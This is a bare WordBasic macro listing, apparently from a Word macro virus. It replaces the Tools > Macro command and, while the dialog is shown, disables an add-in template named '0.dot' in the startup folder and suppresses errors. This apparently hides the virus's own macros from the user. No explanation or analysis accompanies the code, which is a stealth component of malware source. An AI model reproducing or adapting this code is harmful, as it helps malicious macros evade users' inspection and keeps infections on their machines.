'Macro name: extrasmakro'

Sub MAIN
If Window() And IsMacro() = 0 Then a = Val(GetDocumentVar$("tk"))
b = GetAddInId(DefaultDir$(8) + "\0.dot")
ScreenUpdating 0
If a Then
If DocMaximize() Then
DocMaximize
c = 1
EndIf
FileNew
EndIf
If b Then AddInState 1, 0
Dim d As ToolsMacro
On Error Resume Next
Dialog d
If a Then
FileClose
If c Then DocMaximize
EndIf
If b Then AddInState 1, 1
ToolsMacro d
End Sub